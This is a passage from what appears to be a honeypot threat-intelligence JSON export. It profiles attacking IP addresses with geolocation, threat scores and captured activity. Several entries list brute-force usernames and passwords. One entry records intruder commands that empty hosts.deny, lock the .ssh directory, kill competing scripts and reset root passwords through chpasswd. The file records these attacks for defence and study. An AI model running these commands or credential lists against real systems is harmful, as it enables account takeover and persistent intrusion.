        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T00:19:43.629000+00:00",
        "last_seen_30d": "2026-04-16T00:20:56.130000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "178.18.241.121": {
      "attack_count": 5,
      "first_seen": "2026-04-22T17:08:25.277Z",
      "last_seen": "2026-04-22T17:08:28.142Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 8.3,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 10,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T12:09:08.499000+00:00",
        "last_seen_30d": "2026-04-30T14:52:52.840000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5
      }
    },
    "131.222.252.58": {
      "attack_count": 4,
      "first_seen": "2026-04-27T19:22:21.180Z",
      "last_seen": "2026-04-27T19:26:34.537Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Antakya",
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T19:22:21.180000+00:00",
        "last_seen_30d": "2026-04-27T19:27:55.904000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4
      }
    },
    "44.202.33.214": {
      "attack_count": 4,
      "first_seen": "2026-04-22T01:02:35.902Z",
      "last_seen": "2026-04-22T01:02:44.498Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 65.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 12.6,
        "persistence": 24.2,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 29,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T01:02:45.749000+00:00",
        "last_seen_30d": "2026-04-30T01:00:48.123000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "44.202.70.216": {
      "attack_count": 4,
      "first_seen": "2026-04-09T00:55:25.905Z",
      "last_seen": "2026-04-09T00:55:30.940Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.1,
        "persistence": 16.7,
        "diversity": 10,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 20,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-04T00:57:07.374000+00:00",
        "last_seen_30d": "2026-04-23T01:01:00.557000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Ciscoasa": 5,
        "Cowrie": 4,
        "Honeytrap": 2,
        "Tanner": 1
      }
    },
    "45.9.168.192": {
      "attack_count": 4,
      "first_seen": "2026-04-09T09:49:21.338Z",
      "last_seen": "2026-04-09T09:49:22.103Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hungary",
      "country_code": "HU",
      "city": "Ny\u00edregyh\u00e1za",
      "asn": 211619,
      "as_org": "MAXKO d.o.o.",
      "threat_score": 74.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.5,
        "persistence": 24.2,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 29,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T01:03:17+00:00",
        "last_seen_30d": "2026-04-30T09:58:41.351000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "H0neytr4p": 6,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "54.86.134.21": {
      "attack_count": 4,
      "first_seen": "2026-04-19T00:49:40.695Z",
      "last_seen": "2026-04-19T00:49:44.635Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-19T00:49:40.695000+00:00",
        "last_seen_30d": "2026-04-23T01:00:39.620000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeyaml": 1
      }
    },
    "64.225.62.77": {
      "attack_count": 4,
      "first_seen": "2026-04-06T10:28:26.443Z",
      "last_seen": "2026-04-06T10:28:34.443Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-06T10:28:26+00:00",
        "last_seen_30d": "2026-04-06T10:29:38.744000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "103.94.81.252": {
      "attack_count": 2,
      "first_seen": "2026-04-19T15:29:10.794Z",
      "last_seen": "2026-04-19T15:29:42.210Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 138277,
      "as_org": "Radinet Info Solutions Private Limited",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T15:29:10.794000+00:00",
        "last_seen_30d": "2026-04-19T15:30:51.983000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "105.225.23.141": {
      "attack_count": 2,
      "first_seen": "2026-04-26T03:11:31.162Z",
      "last_seen": "2026-04-26T03:11:43.943Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T03:11:31.162000+00:00",
        "last_seen_30d": "2026-04-26T03:12:52.206000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "194.88.220.25": {
      "attack_count": 2,
      "first_seen": "2026-04-29T14:11:14.476Z",
      "last_seen": "2026-04-29T14:13:14.477Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Chynadiyovo",
      "asn": 31504,
      "as_org": "Svt-com Ltd",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T14:11:14.476000+00:00",
        "last_seen_30d": "2026-04-29T14:14:49.143000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "194.88.98.94": {
      "attack_count": 2,
      "first_seen": "2026-04-12T11:22:33.211Z",
      "last_seen": "2026-04-12T11:22:33.529Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 32.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.8,
        "persistence": 8.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 607,
        "days_active_30d": 10,
        "ports_targeted_30d": 204,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-03T17:01:16.283000+00:00",
        "last_seen_30d": "2026-04-12T11:23:35.010000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 338,
        "Honeytrap": 246,
        "Miniprint": 17,
        "Dionaea": 3,
        "Cowrie": 2,
        "Tanner": 1
      }
    },
    "196.191.2.132": {
      "attack_count": 2,
      "first_seen": "2026-04-05T10:44:37.940Z",
      "last_seen": "2026-04-05T10:45:09.214Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T10:44:37.940000+00:00",
        "last_seen_30d": "2026-04-05T10:46:17.927000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "205.210.31.216": {
      "attack_count": 2,
      "first_seen": "2026-04-14T22:10:37.670Z",
      "last_seen": "2026-04-14T22:10:38.002Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T03:31:31+00:00",
        "last_seen_30d": "2026-04-30T02:20:45.730000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 34,
        "Cowrie": 2
      }
    },
    "222.139.65.219": {
      "attack_count": 2,
      "first_seen": "2026-04-18T05:59:11.547Z",
      "last_seen": "2026-04-18T05:59:24.781Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Anyang",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T05:59:11.547000+00:00",
        "last_seen_30d": "2026-04-18T06:00:29.131000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.86.90.93": {
      "attack_count": 2,
      "first_seen": "2026-04-25T06:50:15.428Z",
      "last_seen": "2026-04-25T06:50:46.571Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T06:50:15.428000+00:00",
        "last_seen_30d": "2026-04-25T06:51:53.496000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.99.237.57": {
      "attack_count": 2,
      "first_seen": "2026-04-30T16:45:59.697Z",
      "last_seen": "2026-04-30T16:45:59.698Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:45:59.697000+00:00",
        "last_seen_30d": "2026-04-30T16:47:08.934000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "71.6.232.30": {
      "attack_count": 2,
      "first_seen": "2026-04-27T20:00:36.099Z",
      "last_seen": "2026-04-27T20:00:43.890Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 88.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 30,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T05:42:25+00:00",
        "last_seen_30d": "2026-04-30T10:52:05.313000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Redishoneypot": 6,
        "Dionaea": 4,
        "Honeytrap": 3,
        "Cowrie": 2,
        "Tanner": 2,
        "Honeyaml": 1,
        "Mailoney": 1
      }
    },
    "85.217.140.43": {
      "attack_count": 2,
      "first_seen": "2026-04-10T15:33:09.421Z",
      "last_seen": "2026-04-10T15:33:09.777Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 62.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.0,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 504,
        "days_active_30d": 21,
        "ports_targeted_30d": 260,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T05:38:57+00:00",
        "last_seen_30d": "2026-04-21T14:52:40.320000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 260,
        "Honeytrap": 236,
        "ConPot": 3,
        "Adbhoney": 2,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "91.196.152.164": {
      "attack_count": 2,
      "first_seen": "2026-04-13T06:43:07.007Z",
      "last_seen": "2026-04-13T06:43:07.460Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 69.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.0,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 26,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T02:50:53+00:00",
        "last_seen_30d": "2026-04-26T15:01:09.009000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 6,
        "Cowrie": 2,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "185.246.128.133": {
      "attack_count": 7656,
      "first_seen": "2026-04-01T00:12:51.277Z",
      "last_seen": "2026-04-30T23:30:51.772Z",
      "sessions": 1115,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "ddd",
        "authority",
        "ftp1",
        "admin"
      ],
      "passwords_attempted": [
        "or4cl3",
        "ddd",
        "authority",
        "ftp1",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42237,
      "as_org": "w1n ltd",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11002,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:12:51.277000+00:00",
        "last_seen_30d": "2026-04-30T23:32:00.621000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7656,
        "Suricata": 3346
      }
    },
    "80.94.92.184": {
      "attack_count": 1646,
      "first_seen": "2026-04-07T22:51:52.473Z",
      "last_seen": "2026-04-29T13:41:37.330Z",
      "sessions": 325,
      "ports": [],
      "usernames_attempted": [
        "solv",
        "solana",
        "ubuntu",
        "sol",
        "banxgg",
        "ethereum"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "solana",
        "solv",
        "sol",
        "1234567890",
        "1",
        "12",
        "123",
        "123321",
        "12345",
        "123456.cn",
        "1234567",
        "123456789",
        "123@",
        "Solana",
        "abc123",
        "banx",
        "banxgg",
        "ethereum"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 59.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 2473,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T22:43:43.943000+00:00",
        "last_seen_30d": "2026-04-29T13:42:44.030000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1646,
        "Suricata": 827
      }
    },
    "161.132.51.203": {
      "attack_count": 1245,
      "first_seen": "2026-04-16T02:14:00.149Z",
      "last_seen": "2026-04-16T03:42:26.927Z",
      "sessions": 248,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "app",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "postgres",
        "www",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 3132,
      "as_org": "Red Cientifica Peruana",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 1761,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T02:14:00.149000+00:00",
        "last_seen_30d": "2026-04-16T03:43:35.590000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1245,
        "Suricata": 516
      }
    },
    "201.16.238.49": {
      "attack_count": 717,
      "first_seen": "2026-04-07T13:48:58.954Z",
      "last_seen": "2026-04-17T08:07:48.837Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "admin",
        "claude",
        "ubuntu",
        "ali",
        "developer",
        "john",
        "odoo",
        "alex",
        "azureuser",
        "deploy",
        "dev",
        "dmdba",
        "dolphinscheduler",
        "explore",
        "juan",
        "manager",
        "me"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "010203",
        "1",
        "123",
        "123.com.",
        "123456",
        "1234567890",
        "123456a",
        "123Qwe!@#",
        "1q2w3e4r",
        "1qaz@WSX",
        "51nGleD",
        "@2025",
        "A1234567890B",
        "A123456789b",
        "Abcd12345@123",
        "Admin12!@#",
        "Admin@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"claude23\\n8rFx8fnOevNG\\n8rFx8fnOevNG\\n\"|passwd",
        "echo \"developer123\\nA5gZZYDsk8Uc\\nA5gZZYDsk8Uc\\n\"|passwd",
        "echo \"root:1gxejmRq44on\"|chpasswd|bash",
        "echo \"root:dHDs8OGMPD8x\"|chpasswd|bash",
        "echo \"root:eQThzapgXgDc\"|chpasswd|bash",
        "echo -e \"claude23\\n8rFx8fnOevNG\\n8rFx8fnOevNG\"|passwd|bash",
        "echo -e \"developer123\\nA5gZZYDsk8Uc\\nA5gZZYDsk8Uc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 16735,
      "as_org": "ALGAR TELECOM SA",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.6,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 914,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T13:48:58.954000+00:00",
        "last_seen_30d": "2026-04-17T08:08:52.708000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 717,
        "Suricata": 197
      }
    },
    "101.36.119.184": {
      "attack_count": 590,
      "first_seen": "2026-04-03T10:48:04.543Z",
      "last_seen": "2026-04-25T14:02:23.378Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "desarrollo",
        "developer",
